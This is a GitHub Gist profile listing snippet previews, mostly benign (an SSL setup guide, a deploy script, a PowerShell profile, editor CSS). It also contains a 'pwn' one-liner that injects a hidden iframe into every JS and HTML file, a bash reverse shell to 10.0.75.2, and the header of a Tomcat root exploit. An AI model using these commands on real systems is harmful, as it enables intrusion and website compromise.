Skip to content

Instantly share code, notes, and snippets.

View Naramsim's full-sized avatar
🎅
Always in Christmas mood

Alessandro Pezzè Naramsim

🎅
Always in Christmas mood
View GitHub Profile
@Naramsim
Naramsim / Naramsim
Last active June 28, 2016 20:10
Streaks
2015-06-29
@Naramsim
Naramsim / install-comodo-ssl-cert-for-nginx.rst
Created July 7, 2016 13:28 — forked from bradmontgomery/install-comodo-ssl-cert-for-nginx.rst
Steps to install a Comodo PositiveSSL certificate with Nginx.

Setting up a SSL Cert from Comodo

I use Namecheap.com as a registrar, and they resale SSL Certs from a number of other companies, including Comodo.

These are the steps I went through to set up an SSL cert.

Purchase the cert

@Naramsim
Naramsim / log.js
Last active August 5, 2019 20:27
pokemon types multipliers
console.log(getMultipliers(['poison','fire']))
@Naramsim
Naramsim / deploy.sh
Created September 14, 2016 06:11
deploys betterbin on a linux server
tar -xzf Betterbin.tar.gz
rsync -aq bundle/ root@178.62.195.26:/opt/betterbin
ssh root@178.62.195.26 "nohup sh /opt/betterbin.co/run.sh"
@Naramsim
Naramsim / Microsoft.PowerShell_profile.ps1
Last active June 11, 2020 12:23
git & npm shortcuts
set-location c:\Users\Ale\Documents\GitHub
Write-Host "Setting up GitHub Environment"
. (Resolve-Path "$env:LOCALAPPDATA\GitHub\shell.ps1")
Write-Host "Setting up Posh-Git"
. (Resolve-Path "$env:github_posh_git\profile.example.ps1")
Remove-Item alias:gcm -Force
Remove-Item alias:gc -Force
Remove-Item alias:gp -Force
@Naramsim
Naramsim / pwn
Last active December 18, 2016 16:55
find / -type f -name "*.js" -exec sh -c 'echo ";document.addEventListener(\"DOMContentLoaded\", function(event) { document.body.insertAdjacentHTML( \"beforeend\", \"<iframe style='"'"'display:none'"'"' src='"'"'http://10.0.75.2:8080'"'"'></iframe>\" );});" >> "$1"' -- {} \; ; find / -type f -iregex '.*\.\(html\|htm\|jsp\|php\)$' -exec sed -i 's/<\/body>/<iframe style="display:none" src="http:\/\/10.0.75.2:8080"><\/iframe><\/body>/g' {} \;
#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
@Naramsim
Naramsim / nc.sh
Last active December 16, 2016 09:06
nohup /bin/bash -i >/dev/tcp/10.0.75.2/443 0<&1 2>&1 &
@Naramsim
Naramsim / inject.css
Created January 6, 2017 20:59
vscode custom CSS
.vs-dark .monaco-workbench>.sidebar>.title>.title-actions {
background-color: #282a36 !important;
}
.part.activitybar {
background-color: #282a36 !important;
box-shadow: 0px 0px 2px black;
z-index: 10;
}
[
{
"lat": 0.79,
"lng": 0.78,
"topics": [
{
"keyword": "Paesi Bassi",
"weight": 0.61
},
{